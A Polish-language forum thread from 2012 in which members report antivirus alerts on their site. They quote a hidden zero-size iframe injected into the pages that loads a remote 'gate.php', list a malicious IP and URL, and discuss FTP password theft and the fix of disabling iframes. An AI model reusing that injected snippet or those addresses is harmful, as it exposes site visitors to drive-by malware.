IVRP.pl Strona Główna IVRP.pl
polityka - militaria - kultura - podróże

FAQFAQ  SzukajSzukaj  UżytkownicyUżytkownicy  GrupyGrupy
RejestracjaRejestracja  ZalogujZaloguj  AlbumAlbum  DownloadDownload

Poprzedni temat «» Następny temat
Mamy syfa na forumku
Autor Wiadomość
aember
przewodniczący koła

Dołączył: 04 Paź 2011
Posty: 612
Wysłany: Czw 12 Sty, 2012 17:34   Mamy syfa na forumku

Avast dzisiaj krzyknął, to obejrzałem źrzódło:

[!--qpi--][iframe src=http://s1.kaluchka1.in/gate.php?f=960006 frameborder=0 marginheight=0 marginwidth=0 scrolling=0 width=0 height=0 border=0][/iframe][!--/qpi--]

Uprasza się administrancję o reankcję.
 
 
Ignac
członek władz krajowych
na fot.: Tadeusz Reytan


Pomógł: 6 razy
Dołączył: 07 Sie 2011
Posty: 7021
Skąd: Wiadoma rzecz - Stolica!
Wysłany: Czw 12 Sty, 2012 21:42   

wtf?
 
 
Brzost 
skarbnik zarządu organizacji powiatowej


Pomógł: 2 razy
Wiek: 56
Dołączył: 19 Gru 2006
Posty: 1245
Skąd: z lasu
Wysłany: Czw 12 Sty, 2012 21:46   

Mnie NOD32 to samo krzyknął i wrzucił do kwarantanny.
 
 
Zbigniew 
członek władz krajowych


Pomógł: 6 razy
Wiek: 54
Dołączył: 25 Paź 2007
Posty: 6959
Skąd: Kujawy
Wysłany: Czw 12 Sty, 2012 22:01   

Brzost napisał/a:
Mnie NOD32 to samo krzyknął i wrzucił do kwarantanny.

Na którym poziomie go widać? U mnie NOD nic nie krzyczy :/
_________________
"Domini Poloni, tam diu liberi, quam diu catholici!"
 
 
Ela 
członek władz krajowych


Pomogła: 9 razy
Wiek: 109
Dołączyła: 24 Maj 2010
Posty: 5775
Skąd: Dziki Zachód
Wysłany: Czw 12 Sty, 2012 22:05   

A u mnie się zmienił wygląd ShoutBoksa.
_________________
I nie jest zapewne przypadkiem, że autorzy radosnych ód kręcili się zawsze na dworach tyranów. /Zbigniew Herbert/
 
 
aember
przewodniczący koła

Dołączył: 04 Paź 2011
Posty: 612
Wysłany: Czw 12 Sty, 2012 22:36   

Prawy - pokaż źródło - ostatnie kilkoro linijek.
Problem zwykle występuje po przechwyceniu kodzików do FTP na którym leży strona. Często z powodu zapamiętania haseł w Total Commanderze, który to przechowuje je w postaci niezaszyfrowanej.

Ja mam noscripta, więc mi ryba, ale komuś może nasyfić w kompucze.
 
 
Zgred
Szeregowy rezerwy

Pomógł: 1 raz
Dołączył: 31 Gru 2002
Posty: 5508
Wysłany: Czw 12 Sty, 2012 23:13   

Ela napisał/a:
A u mnie się zmienił wygląd ShoutBoksa.

Na wszelki wypadek jest już wyłączony.
_________________
Szeregowy rezerwy
 
 
Adampio 
członek zarządu organizacji powiatowej

Dołączył: 31 Gru 2005
Posty: 760
Skąd: DC
Wysłany: Pią 13 Sty, 2012 02:53   

Kasperskij pyszczy tak:
Zagrożenie: HEUR:Trojan.Script.Generic http://s1.kaluchka1.in/gate.php?f=960006//gate
 
 
aember
przewodniczący koła

Dołączył: 04 Paź 2011
Posty: 612
Wysłany: Pią 13 Sty, 2012 07:29   

Procedura usuwania:
http://forum.joomla.org/viewtopic.php?p=1671912
 
 
alcor 
członek zarządu organizacji powiatowej


Pomógł: 3 razy
Dołączył: 08 Sie 2011
Posty: 1047
Wysłany: Pią 13 Sty, 2012 11:53   

Mi też coś wczoraj wieczór antywir krzyknął, ale adres ataku był polski, a nie indyjski.
_________________
"Sieć władzy w Polsce zaczyna się w Moskwie. Tam są komputery i ludzie na bieżąco analizujący to, co się dzieje tutaj, tam są przygotowywane i uchwalane (tak, tak, uchwalane) decyzje. W Polsce znajduje się tylko aparat wykonawczy."
 
 
aember
przewodniczący koła

Dołączył: 04 Paź 2011
Posty: 612
Wysłany: Pią 13 Sty, 2012 12:20   

Każdy sobie może podejrzeć karalucha w źródle strony.
 
 
macsoc 
Emerytowany Ojciec Dyrektor


Dołączył: 04 Mar 2003
Posty: 3659
Wysłany: Pią 13 Sty, 2012 12:51   

aember napisał/a:
Każdy sobie może podejrzeć karalucha w źródle strony.
smutny fakt; bendom czyścić, ale jak ten wuj tu wlazł? :/
_________________
Nie wiem, czy wiecie, mam Najwspanialszą Żonę na Świecie!
 
 
aember
przewodniczący koła

Dołączył: 04 Paź 2011
Posty: 612
Wysłany: Pią 13 Sty, 2012 13:31   

Byo wyżej - zwykle zapisanie kodzików w totalkomanderze przez admina, a robal na jego kompie te kodziki odczytuje i wysyła gdzie trzeba.
 
 
AnnaE 
członek prezydium władz krajowych


Pomogła: 8 razy
Wiek: 109
Dołączyła: 08 Sie 2011
Posty: 8349
Skąd: n.c. spod samiuśkich Tater
Wysłany: Pią 13 Sty, 2012 14:43   

To ja też się tu przenoszę z problemem.

Nic z waszych wyjaśnień nie rozumiem. Program antywirusowy nadal mi to to wychwytuje.
Co mam zrobić?

Od kilku dni mój program antywirusowy wyświetla mi komunikat o zablokowaniu pewnego adresu IP w związku z próbą ataku.
Adres IP sprawdziłam. Jest w Niemczech.
IP:
178.18.249.19:80

Jakim cudem program zablokował, skoro co kilka minut wyświetla komunikat?
Czy to znaczy, że ktoś szuka luki w programie antywirusowym, by mi zniszczyć kompa?
Już zeskanowałam kompa.
Zainfekowany był jeden obiekt, który program usunął i przekazał do kwarantanny.
Komunikaty programu antywirusowego nadal przychodzą.
Cały czas blokowany jest ten sam adres IP.
To jakiś automat?
Jak mam się obronić?
Boję się...

:cry:
_________________
"Podstawą tronu Bożego są sprawiedliwość i prawo; przed Nim kroczą łaska i wierność."
Księga Psalmów 89:15 / Biblia Tysiąclecia
 
 
aember
przewodniczący koła

Dołączył: 04 Paź 2011
Posty: 612
Wysłany: Pią 13 Sty, 2012 20:17   

Nadal wychwytuje przy wchodzeniu na forum, bo na stronie ten szkodliwy wpis wciąż wisi. Chyba, że to coś innego.
Polecam przeskanowanie tym:
http://www.dobreprogramy....dows,13117.html
 
 
Zbigniew 
członek władz krajowych


Pomógł: 6 razy
Wiek: 54
Dołączył: 25 Paź 2007
Posty: 6959
Skąd: Kujawy
Wysłany: Pią 13 Sty, 2012 22:48   

Na moje oko to nic groźnego. U mnie pojawiła się reklama jakich wyrwizębów z Niemiec reklamujących swe usługi. Za chwilę obrobię screeny i wrzucę do oglądku.
niemniej faktycznie coś jest i nadaje się do usunięcia.

Clip1.gif
tak wygląda to ustrojstwo u mnie
Plik ściągnięto 24747 raz(y) 38,29 KB

 
 
peterman 
członek zarządu organizacji powiatowej

Pomógł: 1 raz
Dołączył: 31 Lip 2011
Posty: 1085
Wysłany: Pią 13 Sty, 2012 23:10   

A u mie nic a nic.
 
 
Zbigniew 
członek władz krajowych


Pomógł: 6 razy
Wiek: 54
Dołączył: 25 Paź 2007
Posty: 6959
Skąd: Kujawy
Wysłany: Pią 13 Sty, 2012 23:15   

peterman napisał/a:
A u mie nic a nic.

U mnie też nie ma ponieważ opera ma opcję blokady wszelkich pływających okienek i wyskakujących reklam, obrazków i wszelkich dupereli nie będących treścią strony. Zobaczyłem to ustrojstwo dopiero gdy specjalnie wszedłem w folder zablokowanych okienek.
_________________
"Domini Poloni, tam diu liberi, quam diu catholici!"
 
 
AnnaE 
członek prezydium władz krajowych


Pomogła: 8 razy
Wiek: 109
Dołączyła: 08 Sie 2011
Posty: 8349
Skąd: n.c. spod samiuśkich Tater
Wysłany: Pią 13 Sty, 2012 23:24   

peterman napisał/a:
A u mie nic a nic.


Masz słaby program antywirusowy, albo w ustawieniach nie zaznaczyłeś, by cię informował o próbach ataku.

Ja mam ciągle z tego samego źródła.
Weszłam pod adres. Wisi typowy komunikat "strona podejrzana o wysyłanie..." i wołanie programu "zabierz mnie stąd.

Adres URL taki, ale nie wchodźcie bez dobrego programu av:

wwidow.com/Idr/index.php?cmd=getloadlogin
_________________
"Podstawą tronu Bożego są sprawiedliwość i prawo; przed Nim kroczą łaska i wierność."
Księga Psalmów 89:15 / Biblia Tysiąclecia
 
 
Zbigniew 
członek władz krajowych


Pomógł: 6 razy
Wiek: 54
Dołączył: 25 Paź 2007
Posty: 6959
Skąd: Kujawy
Wysłany: Pią 13 Sty, 2012 23:59   

http://www.maygion.com/do...GI%20manual.pdf

Proszę nie wchodzić na żaden link zaczynający się od: 192.168.2.100 . Strona jest na tyle niebezpieczna, ze sama przeglądarka - przynajmniej robi to opera - blokuje do niej dostęp.

Po mojemu te pływające okienka to maskirowka przed próbą zdalnego przejęcia kamer. Czyli jednak smrut!
_________________
"Domini Poloni, tam diu liberi, quam diu catholici!"
 
 
Hegemon 
Beczkowóz


Pomógł: 2 razy
Wiek: 43
Dołączył: 11 Lut 2006
Posty: 11979
Skąd: z głupia frant
Wysłany: Wto 17 Sty, 2012 07:35   

Czasowo wyrzuciłem iframe z listy dopuszczalnych tagów HTML. Może pomoże, choć większość jutubek nie będzie w tym czasie chodzić.
_________________
Его Высокопревосходительство
 
 
AnnaE 
członek prezydium władz krajowych


Pomogła: 8 razy
Wiek: 109
Dołączyła: 08 Sie 2011
Posty: 8349
Skąd: n.c. spod samiuśkich Tater
Wysłany: Wto 17 Sty, 2012 09:25   

Hegemon napisał/a:
Czasowo wyrzuciłem iframe z listy dopuszczalnych tagów HTML. Może pomoże, choć większość jutubek nie będzie w tym czasie chodzić.


Po linkach dojdziemy do YT.
Jest Forum, to najważniejsze.
Dziękuję, Hegemonie.
_________________
"Podstawą tronu Bożego są sprawiedliwość i prawo; przed Nim kroczą łaska i wierność."
Księga Psalmów 89:15 / Biblia Tysiąclecia
 
 
Brzost 
skarbnik zarządu organizacji powiatowej


Pomógł: 2 razy
Wiek: 56
Dołączył: 19 Gru 2006
Posty: 1245
Skąd: z lasu
Wysłany: Wto 17 Sty, 2012 11:31   

Uprzejmie donoszę, że podczas dodawania postów, nadal pokazuje mi się ta nieszczęsna "kałuszka". {edit] - nie za każdym razem.
 
 
mac 
członek władz krajowych


Pomógł: 1 raz
Wiek: 52
Dołączył: 03 Lut 2006
Posty: 6396
Skąd: a nie powiem
Wysłany: Wto 17 Sty, 2012 20:16   

Zbigniew napisał/a:
Na moje oko to nic groźnego. U mnie pojawiła się reklama jakich wyrwizębów z Niemiec reklamujących swe usługi. Za chwilę obrobię screeny i wrzucę do oglądku.
niemniej faktycznie coś jest i nadaje się do usunięcia.

A wiadomo co to za ip takie cos podrzucila? Mam nadzieje, ze nie zadna z moich i nie musze sie martwic...
_________________
Polska to nienormalnosc - Donald Tusk.
Polacy powinni sie wyrzec polskosci - Janusz P.
Kto trzęsie drzewem prawdy, temu padają na głowę obelgi i nienawiść.
Konfucjusz
Jestem dumny, ze jestem Polakiem
 
 
AnnaE 
członek prezydium władz krajowych


Pomogła: 8 razy
Wiek: 109
Dołączyła: 08 Sie 2011
Posty: 8349
Skąd: n.c. spod samiuśkich Tater
Wysłany: Wto 17 Sty, 2012 20:31   

mac napisał/a:
A wiadomo co to za ip takie cos podrzucila? Mam nadzieje, ze nie zadna z moich i nie musze sie martwic...


U mnie av wyświetlał takie cuś:

IP 178.18.249.19:80
sprawdziłam. Jest w Niemczech.
Adres URL taki, ale może lepiej już tam nie wchodzić bez dobrego programu av:

wwidow.com/Idr/index.php?cmd=getloadlogin
Tylko nie wiem czy to inkryminowany.
_________________
"Podstawą tronu Bożego są sprawiedliwość i prawo; przed Nim kroczą łaska i wierność."
Księga Psalmów 89:15 / Biblia Tysiąclecia
 
 
mac 
członek władz krajowych


Pomógł: 1 raz
Wiek: 52
Dołączył: 03 Lut 2006
Posty: 6396
Skąd: a nie powiem
Wysłany: Wto 17 Sty, 2012 20:43   

AnnaE napisał/a:
mac napisał/a:
A wiadomo co to za ip takie cos podrzucila? Mam nadzieje, ze nie zadna z moich i nie musze sie martwic...


U mnie av wyświetlał takie cuś:

IP 178.18.249.19:80
sprawdziłam. Jest w Niemczech.
Adres URL taki, ale może lepiej już tam nie wchodzić bez dobrego programu av:

wwidow.com/Idr/index.php?cmd=getloadlogin
Tylko nie wiem czy to inkryminowany.

OK - sa przynajmniej 2 wpisy z grudnia:
http://www.malwaredomainl...ity=100&page=38
gdzies u szkopkow...

Tiu http://www.robtex.com/ip/178.18.249.19.html#ip
nawet czy...

A tu nawet z mapka http://www.ip-adress.com/...n/178.18.249.19

skondon sie wziol...
Nie moje tereny i nie moj provider :cool:
_________________
Polska to nienormalnosc - Donald Tusk.
Polacy powinni sie wyrzec polskosci - Janusz P.
Kto trzęsie drzewem prawdy, temu padają na głowę obelgi i nienawiść.
Konfucjusz
Jestem dumny, ze jestem Polakiem
 
 
bateria helska 
NaczDyrDUPS
Yogibabu w trakcie leżakowania


Dołączył: 30 Sty 2006
Posty: 8781
Skąd: z Boforsa
Wysłany: Wto 17 Sty, 2012 20:48   

mac napisał/a:
AnnaE napisał/a:
mac napisał/a:
A wiadomo co to za ip takie cos podrzucila? Mam nadzieje, ze nie zadna z moich i nie musze sie martwic...


U mnie av wyświetlał takie cuś:

IP 178.18.249.19:80
sprawdziłam. Jest w Niemczech.
Adres URL taki, ale może lepiej już tam nie wchodzić bez dobrego programu av:

wwidow.com/Idr/index.php?cmd=getloadlogin
Tylko nie wiem czy to inkryminowany.

OK - sa przynajmniej 2 wpisy z grudnia:
http://www.malwaredomainl...ity=100&page=38
gdzies u szkopkow...

Tiu http://www.robtex.com/ip/178.18.249.19.html#ip
nawet czy...

A tu nawet z mapka http://www.ip-adress.com/...n/178.18.249.19

skondon sie wziol...
Nie moje tereny i nie moj provider :cool:

Sfollennicy vierte Er-pe, auftreten! Sofort! Natichmiast!
_________________
A. Gudzowaty w rozmowie z Michnikiem: "Jedni są w obozie amerykańskim, drudzy w rosyjskim, trzeci w brytyjskim, niemieckim, francuskim - k... - nikogo nie ma w obozie polskim".
 
 
aember
przewodniczący koła

Dołączył: 04 Paź 2011
Posty: 612
Wysłany: Wto 17 Sty, 2012 20:59   

Hegemon napisał/a:
Czasowo wyrzuciłem iframe z listy dopuszczalnych tagów HTML. Może pomoże, choć większość jutubek nie będzie w tym czasie chodzić.

No OK, ale jakieś konkretne czyszczenie, zmiana kodzików i metody ich przechowywania będzie, czy się raczej prewencyjnie szykować na kolejne doklejki?
 
 
AnnaE 
członek prezydium władz krajowych


Pomogła: 8 razy
Wiek: 109
Dołączyła: 08 Sie 2011
Posty: 8349
Skąd: n.c. spod samiuśkich Tater
Wysłany: Wto 17 Sty, 2012 21:14   

aember napisał/a:
Hegemon napisał/a:
Czasowo wyrzuciłem iframe z listy dopuszczalnych tagów HTML. Może pomoże, choć większość jutubek nie będzie w tym czasie chodzić.

No OK, ale jakieś konkretne czyszczenie, zmiana kodzików i metody ich przechowywania będzie, czy się raczej prewencyjnie szykować na kolejne doklejki?


Czy rozsądne są takie informacje poza HP?
_________________
"Podstawą tronu Bożego są sprawiedliwość i prawo; przed Nim kroczą łaska i wierność."
Księga Psalmów 89:15 / Biblia Tysiąclecia
 
 
aember
przewodniczący koła

Dołączył: 04 Paź 2011
Posty: 612
Wysłany: Wto 17 Sty, 2012 21:20   

AnnaE napisał/a:
aember napisał/a:
Hegemon napisał/a:
Czasowo wyrzuciłem iframe z listy dopuszczalnych tagów HTML. Może pomoże, choć większość jutubek nie będzie w tym czasie chodzić.

No OK, ale jakieś konkretne czyszczenie, zmiana kodzików i metody ich przechowywania będzie, czy się raczej prewencyjnie szykować na kolejne doklejki?

Czy rozsądne są takie informacje poza HP?

Mimo swojej naturalnej skłonności do teorii powszechnie uważanych za spiskowe, nie umiem wyobrazić sobie, w jaki sposób mogłaby zaszkodzić komukolwiek odpowiedź na moje pytanie.
 
 
Wyświetl posty z ostatnich:   
Odpowiedz do tematu
Nie możesz pisać nowych tematów
Nie możesz odpowiadać w tematach
Nie możesz zmieniać swoich postów
Nie możesz usuwać swoich postów
Nie możesz głosować w ankietach
Możesz załączać pliki na tym forum
Możesz ściągać załączniki na tym forum
Dodaj temat do Ulubionych
Wersja do druku

Skocz do:  

Powered by phpBB modified by Przemo © 2003 phpBB Group
Strona wygenerowana w 0,11 sekundy. Zapytań do SQL: 13